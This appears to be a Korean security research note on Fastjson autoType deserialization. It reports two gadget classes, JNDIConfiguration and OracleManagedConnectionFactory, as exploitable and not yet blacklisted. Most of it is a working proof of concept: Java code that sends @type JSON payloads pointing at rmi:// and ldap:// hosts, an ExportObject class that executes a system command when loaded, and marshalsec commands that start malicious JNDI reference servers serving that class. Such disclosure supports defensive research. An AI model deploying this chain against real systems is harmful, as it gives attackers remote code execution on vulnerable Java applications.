
autoType 활성화

테스트 결과, 적중한 4개의 파일은 모두 악용할 수 있다.
다만 그중 HikariConfig 클래스는 앞서 언급한 클래스로, 최신 버전에서 블랙리스트에 추가되었고, JNDIConnectionPool 클래스는 42 버전 이전에 이미 블랙리스트에 추가되었다.
나머지 두 클래스인 JNDIConfiguration과 OracleManagedConnectionFactory는 모두 공격 PoC를 구성할 수 있으며, 아직 블랙리스트에 추가되지 않았다.
source/commons-configuration-1.9/org/apache/commons/configuration/JNDIConfiguration.java containsKey
source/commons-configuration-1.9/org/apache/commons/configuration/JNDIConfiguration.java getProperty
source/HikariCP-3.3.1/com/zaxxer/hikari/HikariConfig.java getObjectOrPerformJndiLookup
source/ojdbc14-10.2.0.2/oracle/jdbc/connector/OracleManagedConnectionFactory.java setupXADataSource
source/xalan-2.7.2/org/apache/xalan/lib/sql/JNDIConnectionPool.java findDatasource
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastJsonTest {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonStr1 ="{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://10.10.20.166:1099/ExportObject\"}";
String jsonStr2 = "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"ldap://10.10.20.166:1389/ExportObject\"}";
JSONObject json = JSON.parseObject(jsonStr2);
json.toJSONString();
}
}
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process proc = Runtime.getRuntime().exec("calc");
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e = new Exception(result);
throw e;
}
public static void main(String[] args) throws Exception {
}
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.2.18:8000/#ExportObject
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.18:8000/#ExportObject
